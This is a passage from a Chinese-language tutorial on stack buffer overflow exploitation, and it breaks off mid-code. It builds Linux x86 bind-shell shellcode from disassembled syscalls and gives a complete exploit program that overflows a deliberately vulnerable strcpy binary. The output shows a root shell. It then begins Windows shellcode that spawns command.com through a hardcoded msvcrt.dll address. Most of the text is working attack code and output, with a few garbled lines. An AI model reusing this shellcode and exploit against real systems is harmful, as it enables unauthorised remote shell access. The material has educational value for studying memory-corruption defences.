There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>: movl $0x2,%eax
0x804ca95 <fork+5>: int $0x80
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>: ret
0x804caa3 <fork+19>: nop
0x804caa4 <fork+20>: nop
0x804caa5 <fork+21>: nop
0x804caa6 <fork+22>: nop
0x804caa7 <fork+23>: nop
0x804caa8 <fork+24>: nop
0x804caa9 <fork+25>: nop
0x804caaa <fork+26>: nop
0x804caab <fork+27>: nop
0x804caac <fork+28>: nop
0x804caad <fork+29>: nop
0x804caae <fork+30>: nop
0x804caaf <fork+31>: nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>: movl %ebx,%edx
0x804cda2 <socket+2>: movl $0x66,%eax
0x804cda7 <socket+7>: movl $0x1,%ebx
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx
0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.

现在可以写上面c代码的汇编语句了。


fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

socket(2,1,6)的汇编代码
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用,1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用,2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET(2) */
/* 2 放在 0xc(%esi). */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用,4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用,5号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值, */
/* 就是soc文件描述符,作为第一个参数 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx, 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值, */
/* 客户的文件描述符cli . */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 "\x31\xc0" /* xorl %eax,%eax */
02 "\xb0\x02" /* movb $0x2,%al */
04 "\xcd\x80" /* int $0x80 */
06 "\x85\xc0" /* testl %eax,%eax */
08 "\x75\x43" /* jne 0x43 */
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */
0a "\xeb\x43" /* jmp 0x43 */
/* 当fork()==0 的时候,表明是子进程 */
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

0c "\x5e" /* popl %esi */
0d "\x31\xc0" /* xorl %eax,%eax */
0f "\x31\xdb" /* xorl %ebx,%ebx */
11 "\x89\xf1" /* movl %esi,%ecx */
13 "\xb0\x02" /* movb $0x2,%al */
15 "\x89\x06" /* movl %eax,(%esi) */
17 "\xb0\x01" /* movb $0x1,%al */
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
1c "\xb0\x06" /* movb $0x6,%al */
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
21 "\xb0\x66" /* movb $0x66,%al */
23 "\xb3\x01" /* movb $0x1,%bl */
25 "\xcd\x80" /* int $0x80 */
/* 执行socket(),eax里面为返回值soc文件描述符 */

27 "\x89\x06" /* movl %eax,(%esi) */
29 "\xb0\x02" /* movb $0x2,%al */
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
2f "\xb0\x77" /* movb $0x77,%al */
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
3b "\x31\xc0" /* xorl %eax,%eax */
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
40 "\xb0\x10" /* movb $0x10,%al */
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
45 "\xb0\x66" /* movb $0x66,%al */
47 "\xb3\x02" /* movb $0x2,%bl */
49 "\xcd\x80" /* int $0x80 */
/* 执行bind() */

4b "\xeb\x04" /* jmp 0x4 */
/* 越过下面的两个跳转 */

4d "\xeb\x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */

4f "\xeb\x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */

51 "\xb0\x01" /* movb $0x1,%al */
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
56 "\xb0\x66" /* movb $0x66,%al */
58 "\xb3\x04" /* movb $0x4,%bl */
5a "\xcd\x80" /* int $0x80 */
/* 执行listen() */

5c "\x31\xc0" /* xorl %eax,%eax */
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
64 "\xb0\x66" /* movb $0x66,%al */
66 "\xb3\x05" /* movb $0x5,%bl */
68 "\xcd\x80" /* int $0x80 */
/* 执行accept(),eax里面为返回值cli文件描述符 */

6a "\x88\xc3" /* movb %al,%bl */
6c "\xb0\x3f" /* movb $0x3f,%al */
6e "\x31\xc9" /* xorl %ecx,%ecx */
70 "\xcd\x80" /* int $0x80 */
72 "\xb0\x3f" /* movb $0x3f,%al */
74 "\xb1\x01" /* movb $0x1,%cl */
76 "\xcd\x80" /* int $0x80 */
78 "\xb0\x3f" /* movb $0x3f,%al */
7a "\xb1\x02" /* movb $0x2,%cl */
7c "\xcd\x80" /* int $0x80 */
/* 执行三个dup2() */

7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "\x89\x06" /* movl %eax,(%esi) */
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
8d "\x31\xc0" /* xorl %eax,%eax */
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
98 "\xb0\x0b" /* movb $0xb,%al */
9a "\x89\xf3" /* movl %esi,%ebx */
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
a2 "\xcd\x80" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */

a4 "\x31\xc0" /* xorl %eax,%eax */
a6 "\xb0\x01" /* movb $0x1,%al */
a8 "\x31\xdb" /* xorl %ebx,%ebx */
aa "\xcd\x80" /* int $0x80 */
/* 执行exit() */

ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */
/* 执行0x0c处的指令 */

b1
------------------------------------------------------------------------
----

好,长长的shell终于写完了,下面就是攻击程序了。

exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff" /* call -0xa5 */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can"t resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can"t create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can"t connect to the shell\n");
exit(0);
}
return sockfd;
}

void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

buff[bsize-1]="\0"

printf("Jump to 0x%08x\n",addr);

if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的
shellcode被
执行,那么在30464端口就会有server在listen了。

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket
读取
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端


下面来试一试:

我们先写一个漏洞程序:
vulnerable.C
------------------------------------------------------------------------
----

#include <stdio.h>

int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);

return 0;
}
------------------------------------------------------------------------
----

[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。


嘿嘿,大功告成了。

---------------------------------------------------------------

window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#include <stdio.h>

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("file://0x%x",name[i/]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940

\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
信息
按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
地址
是多少呢?
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll"
char sysbuf[7] = "system"
char cmdbuf[16] = "command.com"


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾\0字符

sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
们的
程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
